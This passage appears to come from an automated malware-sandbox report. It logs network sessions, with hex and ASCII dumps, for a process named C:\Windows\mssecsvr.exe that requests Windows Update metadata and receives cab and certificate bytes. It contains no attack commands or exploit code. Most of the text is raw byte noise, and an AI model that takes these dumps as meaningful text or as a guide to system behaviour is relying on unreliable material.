Ascii: Oo4W2H2M7?h?'gk?j[NfUvFPu}j7zv,nyZMYoVt_2]MZ6O>X>NHa4W<cWk?fMibKdQI]?k_;)a)sMm&{^~(>Z8
2022-07-20 11:24:37 UTC	3206	IN	Data Raw: ab 5f 9d 56 c5 e2 31 98 b8 ba ad bb a5 77 67 18 bb 5b 5e b7 bf 96 8b 4b 1d 5c b4 69 d2 73 8a b3 7b 23 9f f8 75 75 6f 24 da be a9 aa 78 8e 59 be e5 b7 9d 2d ab a4 d6 93 4d f3 7f 17 fa c4 fe 0e 6a 8d ae 9b e1 b8 e6 9b 4b b5 d1 f4 9d 72 ea 38 fc b8 f5 09 ae b7 bd dc bf c3 1e d9 be 55 64 ff 00 62 b9 ed 2b c3 3a f6 a7 a8 c1 ab ea 9a cc de 2d ff 00 42 9a 3b 88 7c d4 86 1d 31 f7 ed fd fb f5 db b3 f7 9f de ac 4f 89 3a c4 9f 0d fc 4d e1 bd 06 f7 48 ff 00 84 8b c3 d6 f2 47 7d 65 0c 31 6c 7b bf 31 37 b7 fe 3f ff 00 02 db 5e dd 1c 3b a9 5a d4 aa 24 e4 b6 5b 69 ea 97 e9 7f c4 f3 25 25 6b 48 d4 82 c6 fa e3 c3 13 69 7a 77 9b 69 e2 59 36 49 65 0c d2 a4 0f 3a 2b ed 7f dd c7 fe f7 fa ca c8 d0 ed e7 b3 f0 ce a5 3e b1 e5 5d ea fe 64 f6 3a 74 d2 ea 1f 27 9d 1b fe f6 e2 35 4f Data Ascii: _V1wg[^K\is{#uuo$xY-MjKr8Udb+:-B;\|1O:MHG}e1l{17?^;Z$[i%%kHizwiY6Ie:+>]d:t'5O
2022-07-20 11:24:37 UTC	3222	IN	Data Raw: db fd df 4a f1 b3 28 ac 2e 1a 4e 94 6e de 9b 3f 92 d2 e6 6d 3b d9 1d 7f 85 6c 20 d1 f4 98 75 18 3f e2 5d a1 ff 00 6b 43 1f f6 b5 e7 f7 db e6 d8 c8 bf 3e d3 5e 80 bf 15 3f e1 1b d5 b5 db a9 e1 8a d6 f7 cc 9a e6 de d3 ca 44 f3 3e 4f 96 e2 4d 9f 73 62 d7 84 e8 7a 5d 85 9f f6 93 f9 d6 9a 8c 97 1b 24 92 6f 35 d2 18 f7 7f 75 1b 6e f4 ab da 3f 8c 67 d2 e2 9b 4f ba 9b fe 29 e8 f6 47 71 f6 48 91 fe d7 f3 fc df 27 5d a7 f8 ab e2 b1 19 6c 6b cd b9 7b de 5b 69 a7 ad de 9f 3e 89 15 14 de a8 f7 17 ba d5 7e 25 cb a4 6b ba 87 8a 6d 35 5d 5e f6 d9 3e cd 2d de f4 4b 4b 7f e2 f2 63 4f be ff 00 ef 35 73 bf 15 3c 41 a9 6a 1a de bb 06 bd 67 34 32 c9 7a 96 d2 e9 3e 56 c9 e4 db b3 cb 56 97 ef 6f 7f a5 52 8f e2 36 ad 1d a4 37 57 ba 3e 9f 14 ba ad ed ae 9b 1c 50 c5 e4 cf 6f fc 5f Data Ascii: J(.Nn?m;l u?]kC>^?D>OMsbz]$o5un?gO)GqH']lk{[i>~%km5]^>-KKcO5s<Ajg42z>VVoR67W>Po_
2022-07-20 11:24:37 UTC	3229	IN	Data Raw: d1 db 5d 5f 5b 78 67 ed 7f f1 f7 34 8f fb af b5 ff 00 72 dd 7f e0 3b be ea d7 cd ff 00 0f 3c 41 7d a8 6a 13 58 e9 f0 cd a8 cb 27 91 15 b6 9f 0c 5e 7f 99 b5 fe ee ca f7 cb 18 ee ec 6d 7c ed 42 1d 3f 4e 8f 45 b9 7b eb df 10 cd a8 24 ff 00 6f be ff 00 9e 11 ff 00 7b 67 c9 12 fd e5 ab c5 e1 a5 4b d9 d1 a6 da d5 6b 7b 69 e4 fc f6 76 d7 b7 56 6f 09 be 54 ac 52 d6 bc 41 a8 ea 1a 01 d4 7c 53 a6 4d ad ea d1 e9 56 b1 c5 0d ac 5e 4d b6 9f 2d c4 9f f2 cb c9 f9 21 8e 38 f6 22 47 fc 55 73 c3 be 15 b0 b7 f1 be 9b a2 6a 3a 3e b9 69 e2 af 0e ca f7 37 36 90 ca 90 5a d8 43 f7 e3 db 23 fc df f0 26 fb f5 3f 84 b5 28 ef 3e 13 de 41 a8 43 ae 68 77 d1 dc dd 78 83 51 9a 1b 4d 89 e4 c2 9f 24 bf 37 0d fe c7 f7 77 ee 1c d7 57 e2 ef 02 47 aa 43 0a 69 1a 3d dd a7 fc 25 5f 61 be d4 65 Data Ascii: ]_[xg4r;<A}jX'^m\|B?NE{$o{gKk{ivVoTRA\|SMV^M-!8"GUsj:>i76ZC#&?(>AChwxQM$7wWGCi=%_ae
2022-07-20 11:24:37 UTC	3231	IN	Data Raw: b6 b9 e1 19 35 39 61 be f0 f7 87 2d 25 b6 b2 b7 fb 4c 90 c3 2f d8 a0 8d 19 ff 00 e5 9d b3 37 99 ff 00 02 fb db bf 8a bb cf 8a d1 f8 b7 5a b2 fb 6f 86 fc 23 6b e0 9f 33 66 89 7b 6b a4 da 46 ff 00 3c 72 3b aa 47 23 ff 00 19 fb cd fe cd 52 f0 ae 8f 69 e1 f9 a1 d5 35 ef 0d dd cd 7d 71 23 fd 9a 1b bf 10 6c bd b8 76 f9 53 e6 ff 00 6b f8 9b fe 02 b5 f7 d0 cc a5 f5 65 18 4e 2f 57 a2 6b 5f 5d 57 c9 a6 79 32 4a 93 e5 4f 43 a4 f0 b7 c6 ed 73 41 f8 7d 77 6c 6d 34 f9 a5 b8 b7 fb 35 e6 a1 f6 bd f7 bb 3f b9 f3 7c db 1a bc de df c0 fe 65 ac ba be 97 69 f6 b8 b4 eb e4 be b9 8a ef 66 cb f7 6f f9 63 bd bf ce da 9f 58 b1 fe c7 f8 9d 65 a1 78 83 fb 2b fb 32 49 3f d2 62 b4 8b 7d 95 84 d2 27 fa 99 24 dd fb d7 ff 00 81 57 57 a5 fc 66 d1 7e 17 ff 00 c2 48 93 43 6b 69 a9 59 dc 7d Data Ascii: 59a-%L/7Zo#k3f{kF<r;G#Ri5}q#lvSkeN/Wk_]Wy2JOCsA}wlm45?\|eifocXex+2I?b}'$WWf~HCkiY}
2022-07-20 11:24:37 UTC	3247	IN	Data Raw: 48 76 6f db bb 66 ea e0 ee af b4 cb 7f b1 d9 5a fd af fe 79 6a 3f dc ff 00 59 fc 35 fa 3d 3a 2e 54 63 06 92 6b f9 76 47 2b 82 6e cc 87 5e d3 64 d1 fc 45 79 a4 4d 35 ae a3 73 6f 27 97 24 d6 92 ef 87 fe 00 ff 00 c5 55 f4 db bb ed 3e 6b cf dc f9 32 7f cb 48 66 f9 1e ad 78 c7 49 d3 6d ef 21 9b 4b ff 00 8f 6f f9 ed 0f cf 50 f8 93 c3 7a ef 86 fc e9 f5 ab 49 a2 fd e7 95 24 53 4b bd fe e6 e5 af 42 3c 8d 46 12 96 af f1 32 91 77 58 d1 ef ed f4 3b 39 1e f3 ce 96 f2 37 96 48 ab 16 e3 c2 b2 5b f8 7b fb 5f ce 8a 58 ee 2e 7e cd 1c 50 ff 00 7f ef 55 a4 f1 54 f2 59 f9 77 d6 71 4b 6d 26 cf 2e 1f b9 f2 2d 52 fe d2 8e df 43 9a c5 2c fc d8 e4 93 cc 8e 59 be fc 7f f5 ce 95 38 d5 8f 96 bf 7a 12 ba 57 66 d7 fc 23 77 de 17 fb 1c fa a4 33 43 15 e5 97 99 6d 2c df 73 65 73 d6 b6 33 Data Ascii: HvofZyj?Y5=:.TckvG+n^dEyM5so'$U>k2HfxIm!KoPzI$SKB<F2wX;97H[{_X.~PUTYwqKm&.-RC,Y8zWf#w3Cm,ses3
2022-07-20 11:24:37 UTC	3263	IN	Data Raw: ad ae 69 29 df 9f cf a7 97 a1 cd 59 a9 6b 13 2d e1 92 fe d7 c9 9a 18 a1 8e 39 5f cc 9a 58 bf d6 7f b2 b4 cd 2a 74 d2 fc e7 48 62 9b fe 59 47 77 53 6a 57 d1 de 7c ef 0c 33 4b fe ab ff 00 b2 ac 8d 56 4f f4 ab 3d 9f ea a3 ff 00 59 e4 d7 d3 a7 cf ee 9c 3a f5 36 ec 75 cf 2e 69 a1 79 bc a9 7e 48 e3 f2 6a 3f 18 5b be 9f a8 43 03 f9 b2 ff 00 cb 5f dd 6c 77 ab 7a 6e 8f 6f 6f 0f 9f 65 a9 43 f6 eb cf f9 63 37 fc b0 ff 00 67 fd a6 ac 1f f8 48 2e 3c 3f 35 e3 d9 5a 43 17 da 3f 75 e7 79 5f f7 d6 ca ca 10 5e d7 dc 2f 94 9a 4d 61 34 79 73 35 9f 95 24 7f ea ed 66 fb ff 00 ef 52 ea 9a a5 87 d9 2d 20 4f 37 fd 22 4f 36 48 7c aa e5 df 55 7d 43 5a fb 4e a1 2f 3d eb 6a 4d 72 ee f2 ef ed 5f eb a4 f2 fc b8 e6 9b fb 95 d7 2a 3a a6 51 8b 7d 75 25 c5 d4 5b e5 fd dc 7f bb b7 fe e6 ca Data Ascii: i)Yk-9_XtHbYGwSjW\|3KVO=Y:6u.iy~Hj?[C_lwznooeCc7gH.<?5ZC?uy_^/Ma4ys5$fR- O7"O6H\|U}CZN/=jMr_:Q}u%[
2022-07-20 11:24:37 UTC	3269	IN	Data Raw: 24 f1 87 8b 7c 37 e1 ed 52 d3 4f 8b c3 f6 f7 1f e8 ff 00 64 8b c9 f3 d1 7f db 4f e0 6f ef 57 2d e3 cf da 13 fe 16 87 85 3c 37 e1 1b 5f f8 91 78 6a cf 51 7f b4 cb 0c ae ef 26 d4 4f df cb ff 00 3d 36 fc ec bf 2d 74 5e 14 f0 ff 00 88 61 f8 91 36 8b 3e 83 2d a4 b7 16 c9 ab ff 00 a2 4b f6 2f 32 dd 53 e7 9d 3f df 4f 9b 6f f7 ab 8e 86 5d 5b 2f c1 db 15 2b 54 f7 da 5d 57 4b f6 ba 4d 2d 36 b0 63 1c 2b d7 e6 a2 bd dd 8d 4f da 5f c0 be 2c f0 e1 d3 bc 49 aa 7d 92 6b 6b 8f dd e9 d6 91 4b b2 1f 95 3e 5b 74 8b 3f 71 13 f8 eb 9d f8 47 6b 77 6f e1 9b cb ad 43 47 9b 51 8b cc fb 37 fa 1e c7 79 21 ff 00 ae 6d ff 00 2e ff 00 de 7a f4 3f 19 7c 5c f0 7e a1 f0 87 48 d1 74 5b cf b5 e8 66 4f b1 4b 35 dc 5f be 82 df 7f 98 cf b9 be 66 af 9c f5 6f 1a 5f f8 6f c4 d6 7f 65 fb 5e a3 a6 Data Ascii: $\|7ROdOoW-<7_xjQ&O=6-t^a6>-K/2S?Oo][/+T]WKM-6c+O_,I}kkK>[t?qGkwoCGQ7y!m.z?\|\~Ht[fOK5_fo_oe^
2022-07-20 11:24:37 UTC	3285	IN	Data Raw: a8 f2 25 cd 29 5a 27 17 e1 5f 87 33 dc 45 a3 ff 00 c2 51 ac 45 a1 e8 72 6f 8e 5d 72 1f bf b1 bf d9 fe 35 5d 9f 35 72 3e 27 f1 05 dc 9a 4c da 0b de 4b 77 a4 59 dc ff 00 a3 4d ff 00 b3 27 f7 37 d7 b6 78 6f e1 76 ad e2 49 ad 34 1d 47 ec ba 45 95 c6 9b 35 ce a3 ae 5d c5 f6 ab 5b 4b 78 d3 7b 6c 45 ff 00 96 ff 00 c3 fe f5 79 de a7 f0 e6 0f 87 fa e6 8f a7 78 ca f2 ee d2 c7 5e b2 86 fa 3f 26 2f 9e d2 19 3e e4 ac 8d f2 ee fe f2 d6 f8 1c 75 1c 46 22 51 a9 52 f2 dd 45 2f 57 75 e7 bd f5 e8 b4 57 d7 79 51 a8 a8 29 b8 e9 7b dc f3 2b a7 fe cf 8b f7 37 9e 6d cd c6 c9 3f 73 ff 00 2c d3 fd ea da 92 d7 4d 92 ea cd 3e c7 2e a3 2c 96 c9 2d cd df 9a ff 00 bb 76 fb d5 b7 e2 0b 1d 1a cf 56 f1 25 ee 9f f6 bd 5e da 39 3e cd 6d 77 e5 79 1e 47 f0 f9 b3 a6 df dd ef fe 05 ae 8f 43 f0 Data Ascii: %)Z'_3EQEro]r5]5r>'LKwYM'7xovI4GE5][Kx{lEyx^?&/>uF"QRE/WuWyQ){+7m?s,M>.,-vV%^9>mwyGC
2022-07-20 11:24:37 UTC	3342	IN	Data Raw: c7 2c 3f 7e b2 b5 dd 42 d2 fe ec 7f 67 c3 34 36 d1 ff 00 cb 19 a5 df ff 00 8f 55 48 23 8f c9 f9 ff 00 d6 57 bf ec 29 ba 4e 94 a3 78 b4 d3 5e 4c c2 9b 74 e4 a5 17 b1 ee da d7 c5 49 be 34 78 b3 c5 5e 24 b9 8a d7 c3 11 fc fa bf fa 24 bf 3f 9d f7 51 7e 7f f5 9f fc 55 1e 03 f0 bd c7 8a 26 87 54 7b 4b b8 64 d4 3c c8 af 66 b4 97 62 5d a7 f1 43 ff 00 02 af 28 f0 87 85 6e fc 49 ab fd 96 08 ae a6 8b fe 5a 7d 93 e7 7a fa 87 c2 be 03 9f c3 76 7a 16 83 a3 e8 ff 00 db 9a bf fc 84 a4 bb f9 f7 a6 ef 92 38 a2 fb a1 f0 ff 00 c5 5f 27 8e 96 1f 2b a6 a8 61 bd d7 64 97 f7 52 5d 5b fd 58 e5 3f 69 37 29 bd 59 67 4a d2 6d 3c 07 e1 9b 3d 4e 1b 49 7c 3b e2 1f 9e e6 3f b6 5a 24 ef 3c d1 a7 97 e5 ed 6f bb 13 a5 53 f0 0f c2 cd 27 ec 63 50 7d 46 ee eb 5b d4 2e 7e d3 73 69 a7 4b 1a 43 Data Ascii: ,?~Bg46UH#W)Nx^LtI4x^$$?Q~U&T{Kd<fb]C(nIZ}zvz8_'+adR][X?i7)YgJm<=NI\|;?Z$<oS'cP}F[.~siKC
2022-07-20 11:24:37 UTC	3460	IN	Data Raw: 6d e6 d9 79 d0 f9 c9 71 33 3f f7 3a 7c ab fc 4d ff 00 7c d7 29 e3 28 3f b2 ff 00 73 6b ac 7f 6b 45 1c 89 2f 9b 0c 5e 4c 1e 73 26 f7 fb d5 cd 49 7c f6 7f 7f f7 31 7f d3 1f f6 ab d8 96 1e 9e 22 11 6f 6b dc e4 7d cf 54 d0 fc 65 1f 88 26 d3 91 3c 49 0e 93 6d 67 fb b8 e2 87 e4 4d 92 7c af 1c 48 bf 35 76 0b f0 bf c3 3e 38 d3 46 b5 e2 7f 2b c3 da 6e 9f 12 59 59 c3 a4 df c6 89 39 5f f5 d2 c9 e6 ff 00 ab 91 bf b9 5e 1f f0 f7 c1 77 7e 2c d7 3e c5 a6 4d 14 57 d6 f1 fd a6 3b 5b cf 91 3e 5f 99 9b 77 f0 ed ae a2 ef c4 7a 2f f6 86 a5 a7 69 d6 7a 84 d6 37 11 a4 b7 3f da ff 00 7e 39 bf 8a 65 f2 eb 8a a6 1d 46 5c b4 1b 4f cb 74 55 fd eb 1b 3f 0d be 18 e8 ba bf 88 75 7f ed dd 37 ce f0 d7 f6 8f d9 ad f5 69 ae 9f ec b6 ea bf 3f cc f1 7f ac 6d bf 2f 15 e4 3a e5 ad d4 7a e6 a2 Data Ascii: myq3?:\|M\|)(?skkE/^Ls&I\|1"ok}Te&<ImgM\|H5v>8F+nYY9_^w~,>MW;[>_wz/iz7?~9eF\OtU?u7i?m/:z
2022-07-20 11:24:37 UTC	3603	IN	Data Raw: f9 20 b3 85 3f ba bf f7 d3 57 29 26 9f 79 e1 5d 20 46 b6 86 2b 9b b9 30 2e 8c 5f 7e be 92 f0 0f 82 fc 4b f0 63 c1 3f db da 0e 9b e2 1b 3b 9d 57 c8 b6 92 5b bb 54 85 ee f7 26 f6 f2 ff 00 8b cb ff 00 26 bc 8a 9c 98 68 b9 bb 36 ef 6d 2d ea 27 64 9b 6c f2 5f 87 3a 1d fe a9 0d e5 d7 9d 6b f6 6f 9e db fd 2e 2d e9 23 af cd b7 fd da f5 0b ad 73 4d b8 f0 c7 80 fc 3d e2 8f 88 3a 7d dc 7e 19 fb 54 63 4f d0 f4 f7 8f ec fe 67 ef 36 cb 79 8d bf 7f fb 8b f2 55 1d 63 c4 76 16 73 79 c9 0d dc 36 d2 6f f2 f4 f8 62 ae 62 c6 f5 fe 24 43 34 1a 87 93 a7 68 96 f2 79 b1 cb 0c 5b 26 93 fb df f0 0a f3 15 69 d6 e7 94 d7 2c 1f 6b 5f f2 25 4f 76 79 ee ab f1 13 57 93 5a 95 1e 6b 49 b4 8d 3c c9 24 70 c3 fe a6 4f 33 fd ae b2 57 3c be 34 d4 af 35 18 35 05 f2 c5 d6 9f 27 99 6f 75 14 48 89 Data Ascii: ?W)&y] F+0._~Kc?;W[T&&h6m-'dl_:ko.-#sM=:}~TcOg6yUcvsy6obb$C4hy[&i,k_%OvyWZkI<$pO3W<455'ouH
2022-07-20 11:24:37 UTC	3820	IN	Data Raw: aa bf c0 88 b5 e6 e2 72 99 56 e4 b4 dc 52 de df 97 a7 e6 5c 5a 8a bd ae 7d 13 a4 c7 e3 0d 50 c3 e2 1d 52 5d 2b 4f b9 fb 6f fa 16 ab e2 79 91 2c ad 21 64 fb cb 6c df 37 dd f9 96 b2 e4 f0 de 91 e2 fd 42 5d 5f 5e 8b 55 b4 d2 24 8f ec d6 57 7e 52 7f a5 ba bf ef 2e 23 dd f3 6c ff 00 80 d7 86 f8 8b c5 da 9e a1 a4 d9 c7 a8 79 52 d8 d9 c8 fe 5c 5e 57 fa c9 bf bc ff 00 df 6a ed 7c 3b f1 17 53 d5 3c 3f e5 cf 34 d7 96 d6 f1 bf 97 a7 c3 f3 bc 7f df f3 1f fe 59 c4 df ec d6 35 30 75 21 4e f1 69 7a 68 67 cd 6d cf 67 f1 67 c1 ad 32 df 43 fb 6f 81 ee e5 b4 d7 2e 0f fc 4a 74 39 b6 79 36 90 aa 7c d7 13 cf 27 fc b7 ae 3b 58 58 35 88 6d 2d 3c 42 25 d7 2e 6c ff 00 e3 e7 ec 97 52 7d 8a 7f ef 5c dd dd af ce ef bf ee ff 00 0d 70 7e 26 f8 c1 e2 1f 1b de 69 1a 47 88 75 2f b5 e9 36 Data Ascii: rVR\Z}PR]+Ooy,!dl7B]_^U$W~R.#lyR\^Wj\|;S<?4Y50u!Nizhgmgg2Co.Jt9y6\|';XX5m-<B%.lR}\p~&iGu/6
2022-07-20 11:24:37 UTC	3961	IN	Data Raw: c7 5d 05 15 e1 d6 e0 ca b9 ad 59 d6 c5 d6 d2 ef 96 df cb 7b ab f7 3b d6 67 43 0b 08 c2 9c 5b ba bb f5 3c 8a ed 34 9b 7f 13 fe fe ce 2d 3e c7 cd ff 00 49 d3 e1 df fb bf fa 67 bb f8 aa d7 8c 3c 53 a4 ea 3f d9 da 47 87 a1 fe ce b1 f3 3f 79 0c d3 3f df ff 00 6d bf bb 54 b5 bd 5a 4d 42 6b b9 ee 66 fd dc 96 de 5c 9f ba d9 e6 51 e0 0f 0f c1 e3 0d 5b cb 9f 52 d3 f4 eb 6b 7b 67 92 49 75 19 76 26 c5 4f e1 ff 00 6f fb b5 fb 42 8a 4b 9e 4d e8 7c b2 6e 49 34 8c 1f b0 da 59 fc 86 68 be db 27 fc b5 fb e9 1d 74 5e 18 6f 0f da e9 fa bd cd ee af f6 4b a8 ff 00 d5 7f 1b dc 7f b0 8a bf 77 fe 05 58 77 57 d6 96 f7 7f 6d b2 d3 7f d5 cb fb bf 3b e7 49 3f df a8 74 7d 06 e3 54 ba fb 63 c5 6b 34 9f 3c b2 43 34 bb 2b 59 47 99 7b ce c6 9d 2c 6f 6b fe 3a 9e c3 4e f2 74 e8 61 b4 8f 51 Data Ascii: ]Y{;gC[<4->Ig<S?G?y?mTZMBkf\Q[Rk{gIuv&OoBKM\|nI4Yh't^oKwXwWm;I?t}Tck4<C4+YG{,ok:NtaQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.7	50769	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:43 UTC	6581	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:43 UTC	6582	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: b2bf581b-89fa-4776-bcff-c50e0affe302 MS-RequestId: eb5fe3e9-f566-4c4a-9d78-ca3f88240b80 MS-CV: fHC9GEKRjUiV5ixe.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:43 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:43 UTC	6582	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:43 UTC	6598	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:43 UTC	6614	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.7	50820	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:45 UTC	6617	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:45 UTC	6617	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 6f63cefa-30d9-424a-8716-1b2d9fbe3fcc MS-RequestId: 6133f3e4-0621-4da2-af0c-38e3f4e3544e MS-CV: 7rhvefitHESPwsuC.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:44 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:45 UTC	6618	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:45 UTC	6633	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
